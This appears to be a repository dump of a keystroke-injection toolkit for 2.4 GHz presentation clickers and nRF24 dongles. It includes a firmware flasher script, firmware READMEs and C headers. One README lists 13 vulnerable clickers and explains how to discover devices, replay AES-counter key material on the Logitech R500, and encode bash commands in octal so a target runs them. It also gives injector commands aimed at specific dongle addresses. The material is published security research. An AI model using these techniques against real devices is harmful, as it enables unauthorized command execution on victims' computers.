177 | 178 | # Send the command 179 | ret = self.dongle.ctrl_transfer(request_type, request, value, index, data, timeout=timeout) 180 | response = self.dongle.read(ep, 32, timeout=timeout) 181 | logging.info(':'.join("{:02X}".format(c) for c in response)) 182 | return response 183 | -------------------------------------------------------------------------------- /prog/usb-flasher/usb-flash.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | ''' 3 | Copyright (C) 2016 Bastille Networks 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | ''' 18 | 19 | 20 | import usb, time, sys, array, logging 21 | 22 | # Setup logging 23 | logging.basicConfig(level=logging.INFO, format='[%(asctime)s.%(msecs)03d] %(message)s', datefmt="%Y-%m-%d %H:%M:%S") 24 | 25 | # Check pyusb dependency 26 | try: 27 | from usb import core as _usb_core 28 | except (ImportError, ex): 29 | print(''' 30 | ------------------------------------------ 31 | | PyUSB was not found or is out of date. | 32 | ------------------------------------------ 33 | 34 | Please update PyUSB using pip: 35 | 36 | sudo pip install -U -I pip && sudo pip install -U -I pyusb 37 | ''') 38 | sys.exit(1) 39 | 40 | # USB timeout sufficiently long for operating in a VM 41 | usb_timeout = 2500 42 | 43 | # Verify that we received a command line argument 44 | if len(sys.argv) < 2: 45 | print('Usage: ./usb-flash.py path-to-firmware.bin') 46 | quit() 47 | 48 | # Read in the firmware 49 | with open(sys.argv[1], 'rb') as f: 50 | data = f.read() 51 | 52 | # Zero pad the data to a multiple of 512 bytes 53 | data += b'\000' * (512 - len(data) % 512) 54 | 55 | # Find an attached device running CrazyRadio or RFStorm firmware 56 | logging.info("Looking for a compatible device that can jump to the Nordic bootloader") 57 | product_ids = [0x0102, 0x7777] 58 | for product_id in product_ids: 59 | 60 | # Find a compatible device 61 | try: 62 | dongle = usb.core.find(idVendor=0x1915, idProduct=product_id) 63 | dongle.set_configuration() 64 | except AttributeError: 65 | continue 66 | 67 | # Device found, instruct it to jump to the Nordic bootloader 68 | logging.info("Device found, jumping to the Nordic bootloader") 69 | if product_id == 0x0102: dongle.write(0x01, [0xFF], timeout=usb_timeout) 70 | else: dongle.ctrl_transfer(0x40, 0xFF, 0, 0, (), timeout=usb_timeout) 71 | try: dongle.reset() 72 | except: pass 73 | 74 | # Find an attached device running the Nordic bootloader, waiting up 75 | # to 1000ms to allow time for USB to reinitialize after the the 76 | # CrazyRadio or RFStorm firmware jumps to the bootloader 77 | logging.info("Looking for a device running the Nordic bootloader") 78 | start = time.time() 79 | while time.time() - start < 1: 80 | 81 | # Find a devices running the Nordic bootloader 82 | try: 83 | dongle = usb.core.find(idVendor=0x1915, idProduct=0x0101) 84 | dongle.set_configuration() 85 | break 86 | except AttributeError: 87 | continue 88 | 89 | # Verify that we found a compatible device 90 | if not dongle: 91 | logging.info("No compatbile device found") 92 | raise Exception('No compatible device found.') 93 | 94 | # Write the data, one page at a time 95 | logging.info("Writing image to flash") 96 | page_count = len(data) // 512 97 | for page in range(page_count): 98 | 99 | # Tell the bootloader that we are going to write a page 100 | dongle.write(0x01, [0x02, page]) 101 | dongle.read(0x81, 64, usb_timeout) 102 | 103 | # Write the page as 8 pages of 64 bytes 104 | for block in range(8): 105 | 106 | # Write the block 107 | block_write = data[page*512+block*64:page*512+block*64+64] 108 | dongle.write(0x01, block_write, usb_timeout) 109 | dongle.read(0x81, 64, usb_timeout) 110 | 111 | # Verify that the image was written correctly, reading one page at a time 112 | logging.info("Verifying write") 113 | block_number = 0 114 | for page in range(page_count): 115 | 116 | # Tell the bootloader that we are reading from the lower 16KB of flash 117 | dongle.write(0x01, [0x06, 0], usb_timeout) 118 | dongle.read(0x81, 64, usb_timeout) 119 | 120 | # Read the page as 8 pages of 64 bytes 121 | for block in range(8): 122 | 123 | # Read the block 124 | dongle.write(0x01, [0x03, block_number], usb_timeout) 125 | block_read = array.array('B', dongle.read(0x81, 64, usb_timeout)).tobytes() 126 | if block_read != data[block_number*64:block_number*64+64]: 127 | print('expected: {} got: {}'.format(data[block_number*64:block_number*64+64], block_read)) 128 | raise Exception('Verification failed on page {0}, block {1}'.format(page, block)) 129 | block_number += 1 130 | 131 | logging.info("Firmware programming completed successfully") 132 | logging.info("\033[92m\033[1mPlease unplug your dongle or breakout board and plug it back in.\033[0m") 133 | -------------------------------------------------------------------------------- /readme-original.md: -------------------------------------------------------------------------------- 1 | # RFStorm nRF24LU1+ Research Firmware 2 | 3 | Firmware and research tools for Nordic Semiconductor nRF24LU1+ based USB dongles and breakout boards. 4 | 5 | ## Requirements 6 | 7 | - SDCC (minimum version 3.1.0) 8 | - GNU Binutils 9 | - Python 10 | - PyUSB 11 | - platformio 12 | 13 | Install dependencies on Ubuntu: 14 | 15 | ``` 16 | sudo apt-get install sdcc binutils python python-pip 17 | sudo pip install -U pip 18 | sudo pip install -U -I pyusb 19 | sudo pip install -U platformio 20 | ``` 21 | 22 | ## Supported Hardware 23 | 24 | The following hardware has been tested and is known to work. 25 | 26 | - CrazyRadio PA USB dongle 27 | - SparkFun nRF24LU1+ breakout board 28 | - Logitech Unifying dongle (model C-U0007, Nordic Semiconductor based) 29 | 30 | ## Build the firmware 31 | 32 | ``` 33 | make 34 | ``` 35 | 36 | ## Flash over USB 37 | 38 | nRF24LU1+ chips come with a factory programmed bootloader occupying the topmost 2KB of flash memory. The CrazyRadio firmware and RFStorm research firmware support USB commands to enter the Nordic bootloader. 39 | 40 | Dongles and breakout boards can be programmed over USB if they are running one of the following firmwares: 41 | 42 | - Nordic Semiconductor Bootloader 43 | - CrazyRadio Firmware 44 | - RFStorm Research Firmware 45 | 46 | To flash the firmware over USB: 47 | 48 | ``` 49 | sudo make install 50 | ``` 51 | 52 | ## Flash a Logitech Unifying dongle 53 | 54 | *The most common Unifying dongles are based on the nRF24LU1+, but some use chips from Texas Instruments. 55 | This firmware is only supported on the nRF24LU1+ variants, which have a model number of C-U0007. The flashing 56 | script will automatically detect which type of dongle is plugged in, and will only attempt to flash the nRF24LU1+ variants.* 57 | 58 | To flash the firmware over USB onto a Logitech Unifying dongle: 59 | 60 | ``` 61 | sudo make logitech_install 62 | ``` 63 | 64 | ## Flash a Logitech Unifying dongle back to the original firmware 65 | 66 | Download and extract the Logitech firmware image, which will be named `RQR_012_005_00028.hex` or similar. Then, run the following command to flash the Logitech firmware onto the dongle: 67 | 68 | ``` 69 | sudo ./prog/usb-flasher/logitech-usb-restore.py [path-to-firmware.hex] 70 | ``` 71 | 72 | ## Flash over SPI using a Teensy 73 | 74 | If your dongle or breakout board is bricked, you can alternatively program it over SPI using a Teensy. 75 | 76 | This has only been tested with a Teensy 3.1/3.2, but is likely to work with other Arduino variants as well. 77 | 78 | ### Build and Upload the Teensy Flasher 79 | 80 | ``` 81 | platformio run --project-dir teensy-flasher --target upload 82 | ``` 83 | 84 | ### Connect the Teensy to the nRF24LU1+ 85 | 86 | | Teensy | CrazyRadio PA | Sparkfun nRF24LU1+ Breakout | 87 | | ------ | ---------- | -------- | 88 | | GND | 9 | GND | 89 | | 8 | 3 | RESET | 90 | | 9 | 2 | PROG | 91 | | 10 | 10 | P0.3 | 92 | | 11 | 6 | P0.1 | 93 | | 12 | 8 | P0.2 | 94 | | 13 | 4 | P0.0 | 95 | | 3.3V | 5 | VIN | 96 | 97 | ### Flash the nRF24LU1+ 98 | 99 | ``` 100 | sudo make spi_install 101 | ``` 102 | 103 | # Python Scripts 104 | 105 | ## scanner 106 | 107 | Pseudo-promiscuous mode device discovery tool, which sweeps a list of channels and prints out decoded Enhanced Shockburst packets. 108 | 109 | ``` 110 | usage: ./nrf24-scanner.py [-h] [-c N [N ...]] [-v] [-l] [-p PREFIX] [-d DWELL] 111 | 112 | optional arguments: 113 | -h, --help show this help message and exit 114 | -c N [N ...], --channels N [N ...] RF channels 115 | -v, --verbose Enable verbose output 116 | -l, --lna Enable the LNA (for CrazyRadio PA dongles) 117 | -p PREFIX, --prefix PREFIX Promiscuous mode address prefix 118 | -d DWELL, --dwell DWELL Dwell time per channel, in milliseconds 119 | ``` 120 | 121 | Scan for devices on channels 1-5 122 | 123 | ``` 124 | ./nrf24-scanner.py -c {1..5} 125 | ``` 126 | 127 | Scan for devices with an address starting in 0xA9 on all channels 128 | 129 | ``` 130 | ./nrf24-scanner.py -p A9 131 | ``` 132 | 133 | 134 | ## sniffer 135 | 136 | Device following sniffer, which follows a specific nRF24 device as it hops, and prints out decoded Enhanced Shockburst packets from the device. 137 | 138 | ``` 139 | usage: ./nrf24-sniffer.py [-h] [-c N [N ...]] [-v] [-l] -a ADDRESS [-t TIMEOUT] [-k ACK_TIMEOUT] [-r RETRIES] 140 | 141 | optional arguments: 142 | -h, --help show this help message and exit 143 | -c N [N ...], --channels N [N ...] RF channels 144 | -v, --verbose Enable verbose output 145 | -l, --lna Enable the LNA (for CrazyRadio PA dongles) 146 | -a ADDRESS, --address ADDRESS Address to sniff, following as it changes channels 147 | -t TIMEOUT, --timeout TIMEOUT Channel timeout, in milliseconds 148 | -k ACK_TIMEOUT, --ack_timeout ACK_TIMEOUT ACK timeout in microseconds, accepts [250,4000], step 250 149 | -r RETRIES, --retries RETRIES Auto retry limit, accepts [0,15] 150 | ``` 151 | 152 | Sniff packets from address 61:49:66:82:03 on all channels 153 | 154 | ``` 155 | ./nrf24-sniffer.py -a 61:49:66:82:03 156 | ``` 157 | 158 | ## network mapper 159 | 160 | Star network mapper, which attempts to discover the active addresses in a star network by changing the last byte in the given address, and pinging each of 256 possible addresses on each channel in the channel list. 161 | 162 | ``` 163 | usage: ./nrf24-network-mapper.py [-h] [-c N [N ...]] [-v] [-l] -a ADDRESS [-p PASSES] [-k ACK_TIMEOUT] [-r RETRIES] 164 | 165 | optional arguments: 166 | -h, --help show this help message and exit 167 | -c N [N ...], --channels N [N ...] RF channels 168 | -v, --verbose Enable verbose output 169 | -l, --lna Enable the LNA (for CrazyRadio PA dongles) 170 | -a ADDRESS, --address ADDRESS Known address 171 | -p PASSES, --passes PASSES Number of passes (default 2) 172 | -k ACK_TIMEOUT, --ack_timeout ACK_TIMEOUT ACK timeout in microseconds, accepts [250,4000], step 250 173 | -r RETRIES, --retries RETRIES Auto retry limit, accepts [0,15] 174 | ``` 175 | 176 | Map the star network that address 61:49:66:82:03 belongs to 177 | 178 | ``` 179 | ./nrf24-network-mapper.py -a 61:49:66:82:03 180 | ``` 181 | 182 | ## continuous tone test 183 | 184 | The nRF24LU1+ chips include a test mechanism to transmit a continuous tone, the frequency of which can be verified if you have access to an SDR. There is the potential for frequency offsets between devices to cause unexpected behavior. For instance, one of the SparkFun breakout boards that was tested had a frequency offset of ~300kHz, which caused it to receive packets on two adjacent channels. 185 | 186 | This script will cause the transceiver to transmit a tone on the first channel that is passed in. 187 | 188 | ``` 189 | usage: ./nrf24-continuous-tone-test.py [-h] [-c N [N ...]] [-v] [-l] 190 | 191 | optional arguments: 192 | -h, --help show this help message and exit 193 | -c N [N ...], --channels N [N ...] RF channels 194 | -v, --verbose Enable verbose output 195 | -l, --lna Enable the LNA (for CrazyRadio PA dongles) 196 | 197 | ``` 198 | 199 | Transmit a continuous tone at 2405MHz 200 | 201 | ``` 202 | ./nrf24-continuous-tone-test.py -c 5 203 | ``` -------------------------------------------------------------------------------- /readme-original2.md: -------------------------------------------------------------------------------- 1 | ## Presentation Clickers 2 | 3 | I was in the mood for some RF reverse-engineering, so I ordered a few presentation clickers and had a bit of fun. 4 | 5 | This is a fork of [nrf-research-firmware](readme-original.md) (which I wrote a few years ago at Bastille). I've added support for a few new transceivers/protocols, and included keystroke injection POCs for 13 common presentation clickers. 6 | 7 | ## History 8 | 9 | - 2019-04-20 - released first batch (8 devices) 10 | - 2019-04-21 - released second batch (5 devices) 11 | 12 | ## Devices Vulnerable to Keystroke Injection 13 | 14 | | Vendor | Model | Protocol | RFIC | Added | 15 | |------- | ----- | -------- | ---- | ----- | 16 | | AmazonBasics | [P-001](https://www.amazon.com/AmazonBasics-P-001-Wireless-Presenter/dp/B01FV0FAL2/) | [AmazonBasics P-001](#AmazonBasics-P-001) | nRF24 | 2019-04-20 17 | | Canon | [PR100-R](https://www.amazon.com/gp/product/B01CEAYTGE/) | [Canon PR100-R](#Canon-PR100-R) | PL1167 | 2019-04-20 | 18 | | Funpick | [Wireless Presenter](https://www.amazon.com/Funpick-Presenter-PowerPoint-Presentation-Red(Power<1mW)/dp/B07L4K79HN/) | [HS304](#HS304) | HS304 | 2019-04-20 | 19 | | AMERTEER | [Wireless Presenter](https://www.amazon.com/AMERTEER-Wireless-Presenter-Controller-Presentation/dp/B06XDD3KM3/) | [HS304](#HS304) | HS304 | 2019-04-20 | 20 | | BEBONCOOL | [D100](https://www.amazon.com/BEBONCOOL-Wireless-Presenter-Presentation-PowerPoint/dp/B00WQFFZ9I/) | [HS304](#HS304) | HS304 | 2019-04-20 | 21 | | ESYWEN | [Wireless Presenter](https://www.amazon.com/Wireless-Presenter-ESYWEN-Presentation-PowerPoint/dp/B07D7X7X2M/) | [HS304](#HS304) | HS304 | 2019-04-20 | 22 | | Red Star Tech | [PR-819](https://www.amazon.com/Red-Star-Tec-Presentation-PR-819/dp/B015J5KB3G/) | [HS304](#HS304) | HS304 | 2019-04-20 | 23 | | DinoFire | [D06-DF-US](https://www.amazon.com/DinoFire-Presenter-Hyperlink-PowerPoint-Presentation/dp/B01410YNAM/) | [HS304](#HS304) | HS304 | 2019-04-20 | 24 | | TBBSC | [DSIT-60](https://www.amazon.com/gp/product/B01MY95EKA/) | [TBBSC DSIT-60](#TBBSC-DSIT-60) | BK2451 | 2019-04-21 | 25 | | Rii | [Wireless Presenter](https://www.amazon.com/Rii-Wireless-Presenter-PowerPoint-Presentation/dp/B07H9VSG3G/) | [Rii Wireless Presenter](#Rii-Wireless-Presenter) | BK2451 | 2019-04-21 | 26 | | Logitech | [R400](https://www.amazon.com/Logitech-Wireless-Presenter-Presentation-Pointer/dp/B002GHBUTK/) | [Logitech Unencrypted](#Logitech-Unencrypted) | nRF24 | 2019-04-21 | 27 | | Logitech | [R800](https://www.amazon.com/Logitech-Professional-Presenter-Presentation-Wireless/dp/B002GHBUTU/) | [Logitech Unencrypted](#Logitech-Unencrypted) | nRF24 | 2019-04-21 | 28 | | Logitech | [R500](https://www.amazon.com/Logitech-Presentation-Connectivity-Bluetooth-PowerPoint/dp/B07CC7DMX8/) | [Logitech Encrypted](#Logitech-Encrypted) | nRF24 | 2019-04-21 | 29 | 30 | ## Protocols 31 | 32 | ### Logitech Encrypted 33 | 34 | #### Overview 35 | 36 | This is the standard encrypted Logitech keyboard protocol, as used by the R500. It's sort-of vulnerable to the "encrypted keystroke injection" attack I documented with Logitech Unifying keyboards as part of the MouseJack project. 37 | 38 | I say *sort-of*, because not all HID scan codes are accepted. Specifically, 0x04-0x1D (A-Z) are replaced by 0x00 when the dongle sends the packet to the host computer, which means we can inject whatever we want, as long as it isn't a letter. The other exception is that ctrl key-chords *are* allowed, even when they include letters. 39 | 40 | Effective keystroke injection via the R500 requires that we get a little creative. 41 | 42 | Let's assume the target is in a bash session. In bash, we can encode our characters in base-8, encoding commands containing letters that we want our target to execute. 43 | 44 | For instance, `ping google.com` is encoded as `$'\160\151\156\147' $'\147\157\157\147\154\145\056\143\157\155'`. If we send this string to a bash session and then send `enter`, the command `ping google.com` will be invoked on the target machine. 45 | 46 | #### Device Discovery 47 | 48 | You can find the address of your Logitech R500 using `nrf24-scanner` as follows: 49 | 50 | ```sudo ./tools/nrf24-scanner.py -c {2..74..3} -l``` 51 | 52 | Packets should look something like this: 53 | 54 | ``` 55 | [2019-04-21 13:11:52.507] 62 5 85:D1:9D:FE:07 00:40:00:08:B8 56 | [2019-04-21 13:11:52.515] 62 5 85:D1:9D:FE:07 00:40:00:08:B8 57 | [2019-04-21 13:11:52.523] 62 22 85:D1:9D:FE:07 00:D3:4D:6F:B6:1B:E6:05:A2:B4:8B:98:F9:C2:00:00:00:00:00:00:00:81 58 | ``` 59 | 60 | #### Injection 61 | 62 | Injection is possible because the dongle doesn't enforce incementing AES counters, so you can replay packets. A packet sent OTA is made up of a USB HID payload which has been encrypted in AES counter mode, and then the counter. When you press a button on the presentation clicker, it generates a key down packet, and a key up packet. The key up packet is all 0's, which gives us nice and clean key material that we can reuse, XOR with our own payload, and send OTA. 63 | 64 | It shouldn't be hard to automate the process of listening for a button press, pulling out the second (key up) packet, and automatically using it for the key-material reference. But I'm lazy, so you'll first need to watch a button press yourself, which looks like this: 65 | 66 | ``` 67 | [2019-04-21 16:02:56.451] 65 5 85:D1:9D:FE:07 00:40:00:08:B8 68 | [2019-04-21 16:02:56.459] 65 5 85:D1:9D:FE:07 00:40:00:08:B8 69 | [2019-04-21 16:02:56.468] 65 22 85:D1:9D:FE:07 00:D3:E6:7B:35:8C:BB:2C:7D:5B:8B:98:FA:76:00:00:00:00:00:00:00:B9 70 | [2019-04-21 16:02:56.475] 65 5 85:D1:9D:FE:07 00:40:00:08:B8 71 | [2019-04-21 16:02:56.507] 65 5 85:D1:9D:FE:07 00:40:00:08:B8 72 | [2019-04-21 16:02:56.516] 65 22 85:D1:9D:FE:07 00:D3:99:D6:D3:8D:49:25:F5:4D:8B:98:FA:77:00:00:00:00:00:00:00:1A 73 | [2019-04-21 16:02:56.524] 65 5 85:D1:9D:FE:07 00:40:00:08:B8 74 | [2019-04-21 16:02:56.532] 65 5 85:D1:9D:FE:07 00:40:00:08:B8 75 | ``` 76 | 77 | The second 22-byte packet is the key-up packet. 78 | 79 | **Remove the last byte of the payload, and copy and paste the string into logitech.py, replacing KEYUP_REF.** 80 | 81 | (It *shouldn't* work without updating `KEYUP_REF`, but if it does, please let me know!) 82 | 83 | #### Injection 84 | 85 | Inject the bash `ping google.com` base-8-encoded keystroke sequence into a specific Logitech R500 dongle (address `85:D1:9D:FE:07`): 86 | 87 | ```sudo ./tools/r500-injector.py -l -a 85:D1:9D:FE:07``` 88 | 89 | ### Logitech Unencrypted 90 | 91 | #### Overview 92 | 93 | This is the standard unencrypted Logitech protocol, used by the R400/R800. 94 | 95 | #### Device Discovery 96 | 97 | You can find the address of your Logitech R400/R800 using `nrf24-scanner` as follows: 98 | 99 | ```sudo ./tools/nrf24-scanner.py -c {2..74..3} -l``` 100 | 101 | Packets should look something like this: 102 | 103 | ``` 104 | [2019-04-21 12:58:43.466] 32 0 9D:9E:95:52:07 105 | [2019-04-21 12:58:43.620] 32 10 9D:9E:95:52:07 00:C1:00:00:00:00:00:00:00:3F 106 | ``` 107 | 108 | #### Injection 109 | 110 | Inject the test keystroke sequence into a specific Logitech R400/R800 dongle (address `9D:9E:95:52:07`): 111 | 112 | ```sudo ./tools/preso-injector.py -l -f logitech -a 9D:9E:95:52:07``` 113 | 114 | ### Rii Wireless Presenter 115 | 116 | #### Overview 117 | 118 | The Rii Wireless Presenter (rounded-pen) is based on the BK2451 (which seems to be a nRF24 clone). This looks like a generic protocol, based on the prevalence of sister devices, so I'll probably recategorize this after getting some more data. 119 | 120 | It is functionally an unencrypted wireless keyboard, vulnerable to keystroke injection. 121 | 122 | #### PHY 123 | 124 | The Wireless Presenter (rounded-pen) uses 250Kb/s nRF24 Enhanced Shockburst (w/o ACKs it seems), and a 5-byte address. The device I tested was observed to be camping at 2425 MHz, but it seems to use some sort of frequency-agility scheme. In practice, it is necessary to send some dummy packets on the target channel before sending keystroke packets. 125 | 126 | I suspect there is some channel hopping going on, which I haven't characterized, but targeting a single channel is sufficient to demonstrate keystroke injection. 127 | 128 | #### Device Discovery 129 | 130 | You can find the address of your Wireless Presenter (rounded-pen) using `nrf24-scanner` as follows: 131 | 132 | ```sudo ./tools/nrf24-scanner.py -c 25 -l -R 250K -A 5``` 133 | 134 | *Note that yours might be on another channel.* 135 | 136 | Packets should look something like this: 137 | 138 | ``` 139 | [2019-04-21 11:50:33.116] 25 3 6D:8C:01:14:25 4B:51:00 140 | [2019-04-21 11:50:33.212] 25 3 6D:8C:01:14:25 4C:00:00 141 | [2019-04-21 11:50:33.522] 25 3 6D:8C:01:14:25 4D:51:00 142 | [2019-04-21 11:50:33.565] 25 3 6D:8C:01:14:25 4E:00:00 143 | ``` 144 | 145 | #### Injection 146 | 147 | Inject the test keystroke sequence into a specific Rii dongle (address `6D:8C:01:14:25`): 148 | 149 | ```sudo ./tools/preso-injector.py -l -f rii -a 6D:8C:01:14:25``` 150 | 151 | ### TBBSC DSIT-60 152 | 153 | #### Overview 154 | 155 | The TBBSC DSIT-60 is based on the BK2451 (which seems to be a nRF24 clone). There are apparent sister devices (i.e. [this one](https://www.amazon.com/VinOffice-Presenter-Rechargeable-PowerPoint-Presentation/dp/B07KLHQ811/)) which I haven't tested. For the moment I am categorizing this as a distinct protocol, but that will likely change once I test the sister device(s). 156 | 157 | It is functionally an unencrypted wireless keyboard, vulnerable to keystroke injection. 158 | 159 | #### PHY 160 | 161 | The DSIT-60 uses 250Kb/s nRF24 Enhanced Shockburst (or at least an OTA equivalent) with a 3-byte address. The device I tested was observed to be camping at 2406 MHz, but I'm not sure what other channels it might use. 162 | 163 | #### Device Discovery 164 | 165 | You can find the address of your DSIT-60 using `nrf24-scanner` as follows: 166 | 167 | ```sudo ./tools/nrf24-scanner.py -c 6 -l -R 250K -A 3``` 168 | 169 | *Note that yours might be on another channel, or there might be some frequency agility 170 | retuning that I haven't observed.* 171 | 172 | Packets should look something like this: 173 | 174 | ``` 175 | 176 | [2019-04-21 10:33:44.264] 6 4 87:02:09 0B:42:00:2B 177 | [2019-04-21 10:33:44.269] 6 4 87:02:09 0B:42:00:2B 178 | [2019-04-21 10:33:52.477] 6 4 87:02:09 01:42:00:28 179 | ``` 180 | 181 | #### Injection 182 | 183 | Inject the test keystroke sequence into a specific TBBSC DSIT-60 dongle (address `87:02:09`): 184 | 185 | ```sudo ./tools/preso-injector.py -l -f tbbsc -a 87:02:09``` 186 | 187 | ### AmazonBasics P-001 188 | 189 | #### Overview 190 | 191 | This is almost certainly a generic protocol, but I haven't looked at any of the sister devices yet (i.e. [this one](https://www.amazon.com/gp/product/B07D75459D/)). For the moment I am categorizing this as a distinct protocol, but that will likely change once I test the sister device(s). 192 | 193 | The P-001 is based on the nRF24 RFIC family, and is functionally an unencrypted wireless keyboard, vulnerable to keystroke injection. 194 | 195 | #### PHY 196 | 197 | The P-001 uses 2Mb/s nRF24 Enhanced Shockburst with 5-byte addresses, and channels 2402-2476. 198 | 199 | #### Device Discovery 200 | 201 | You can find the address of your P-001 using `nrf24-scanner.py`. 202 | 203 | Pressing the right arrow should generate packets looking something like this: 204 | 205 | ``` 206 | [2019-04-20 12:59:13.908] 27 9 44:CB:66:A3:BE 00:00:00:00:00:00:00:00:01 207 | [2019-04-20 12:59:13.909] 27 9 44:CB:66:A3:BE 00:00:00:00:00:00:00:00:01 208 | [2019-04-20 12:59:13.999] 27 9 44:CB:66:A3:BE 00:00:4E:00:00:00:00:00:01 209 | [2019-04-20 12:59:14.120] 27 9 44:CB:66:A3:BE 00:00:00:00:00:00:00:00:01 210 | [2019-04-20 12:59:14.121] 27 9 44:CB:66:A3:BE 00:00:00:00:00:00:00:00:01 211 | [2019-04-20 12:59:14.211] 27 9 44:CB:66:A3:BE 00:00:4E:00:00:00:00:00:01 212 | ``` 213 | 214 | #### Injection 215 | 216 | Inject the test keystroke sequence into a specific AmazonBasics P-001 dongle (address `44:CB:66:A3:BE`): 217 | 218 | ```sudo ./tools/preso-injector.py -l -f amazon -a 44:CB:66:A3:BE``` 219 | 220 | 221 | ### Canon PR100-R 222 | 223 | #### Overview 224 | 225 | I'm not sure if this protocol is unique to the Canon PR100-R, but since it's the only device I've observed that speaks the protocol, I'm leaving it in its own bucket until the data suggests otherwise. 226 | 227 | The PR100-R is based on the PL1167 RFIC, and an unknown MCU. 228 | 229 | The PR100-R is functionally an unencrypted wireless keyboard, vulnerable to keystroke injection. 230 | 231 | #### PHY 232 | 233 | The PR100-R uses a 1Mb/s FSK protocol operating on 5Mhz-spaced channels between 2406 Mhz and 2481 MHz. 234 | 235 | Packets are whitened, and protected by a 16-bit CRC. 236 | 237 | There don't appear to be ACKs sent back from the dongle, with the caveat that I've only reversed this protocol sufficient to demonstrate keystroke injection. 238 | 239 | The protocol appears to take a frequency-agility approach to channel selection, and the dongle settles on a channel after the remote has transmitted on it for some number of packets. In practice, it is sufficient to transmit a few seconds of dummy packets before transmitting the keystroke packets. 240 | 241 | #### Addressing 242 | 243 | Based on the packet format, it's unclear if this protocol uses a fixed sync word, or a per-device address. I only looked at a single unit (due to the high price-point), so I wasn't able to fully vet the packet format. 244 | 245 | The injection script works against my PR100-R, but may need to be modified for general use. **If you have another PR100-R and are able to validate this, please let me know!** 246 | 247 | #### Injection 248 | 249 | Inject the test keystroke sequence into a nearby Canon PR100-R dongle: 250 | 251 | ```sudo ./tools/preso-injector.py -l -f canon``` 252 | 253 | 254 | ### HS304 255 | 256 | #### Overview 257 | 258 | HS304 appears to be an application-specific RFIC for presentation clickers (or maybe wireless keyboards/mice). The name comes from the USB device string *HAS HS304*, and was the same for all devices in this set. 259 | 260 | The RFIC was observed to be an unmarked SOP-16 package, with no apparent differences between vendors. 261 | 262 | HS304-based devices are functionally unencrypted wireless keyboards, vulnerable to keystroke injection. 263 | 264 | #### PHY 265 | 266 | HS304 is a 1Mb/s FSK protocol operating on three channels in the 2.4GHz ISM band (2407, 2433, 2463). There don't appear to be ACKs sent from the dongle back to the presentation clicker, and packet delivery is ensured by transmitting each packet on each of the three channels. 267 | 268 | In practice, reliable packet delivery can also be achieved by transmitting each packet multiple times on a single channel. 269 | 270 | Packets are whitened, and protected by a 16-bit CRC. 271 | 272 | #### Addressing 273 | 274 | There is no addressing or pairing scheme, so keystroke injection does not require device-discovery, however the lack of ACKs precludes active discovery of dongles. 275 | 276 | #### Injection 277 | 278 | Inject the test keystroke sequence into nearby HS304 dongles: 279 | 280 | ```sudo ./tools/preso-injector.py -l -f hs304``` 281 | 282 | #### Sniffing 283 | 284 | Receive and decode packets sent from nearby NS304 presentation clickers: 285 | 286 | ```sudo ./tools/preso-scanner.py -l -f hs304``` 287 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # KeyJector 2 | 3 | Somewhat unified keystroke injection tool collection for 2.4 GHz wireless input devices. 4 | 5 | Based on the following projects by Marc Newlin and Bastille Research: 6 | * [presentation-clickers](https://github.com/marcnewlin/presentation-clickers) 7 | * [nrf-reserach-firmware](https://github.com/BastilleResearch/nrf-research-firmware) 8 | 9 | **_Caution: The software tool is still work in progress._** 10 | 11 | # Disclaimer 12 | 13 | Use at your own risk. Do not use without full consent of everyone involved. For educational purposes only. 14 | -------------------------------------------------------------------------------- /src/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2016 Bastille Networks 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU General Public License for more details. 13 | 14 | You should have received a copy of the GNU General Public License 15 | along with this program. If not, see . 16 | */ 17 | 18 | 19 | #include "usb.h" 20 | #include "radio.h" 21 | 22 | // Program entry point 23 | void main() 24 | { 25 | rfcon = 0x06; // enable RF clock 26 | rfctl = 0x10; // enable SPI 27 | ien0 = 0x80; // enable interrupts 28 | TICKDV = 0xFF; // set the tick divider 29 | 30 | // Initialise and connect the USB controller 31 | init_usb(); 32 | 33 | // Flush the radio FIFOs 34 | flush_rx(); 35 | flush_tx(); 36 | 37 | // Everything is triggered via interrupts, so now we wait 38 | while(1) 39 | { 40 | REGXH = 0xFF; 41 | REGXL = 0xFF; 42 | REGXC = 0x08; 43 | delay_us(1000); 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /src/nRF24LU1P.h: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2016 Bastille Networks 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU General Public License for more details. 13 | 14 | You should have received a copy of the GNU General Public License 15 | along with this program. If not, see . 16 | */ 17 | 18 | 19 | #ifndef NRF24LU1P_H 20 | #define NRF24LU1P_H 21 | 22 | #include 23 | #include 24 | 25 | // NOP for 1us 26 | #define nop_us() \ 27 | __asm \ 28 | nop \ 29 | nop \ 30 | nop \ 31 | nop \ 32 | __endasm \ 33 | 34 | // Microsecond delay 35 | inline void delay_us(uint16_t us) { do nop_us(); while(--us); } 36 | 37 | // Shift feedback registers 38 | __sfr __at (0xE6) rfctl; // ref: nRF24LU1+ Product Spec, Section 6.5.1, Table 20 39 | __sfr __at (0x90) rfcon; // ref: nRF24LU1+ Product Spec, Section 6.5.1, Table 21 40 | __sfr __at (0xA0) usbcon; // ref: nRF24LU1+ Product Spec, Section 7.3, Table 24 41 | __sfr __at (0xF2) AESIV; // ref: nRF24LU1+ Product Spec, Section 8.2, Table 70 42 | __sfr __at (0xF5) AESIA1; // ref: 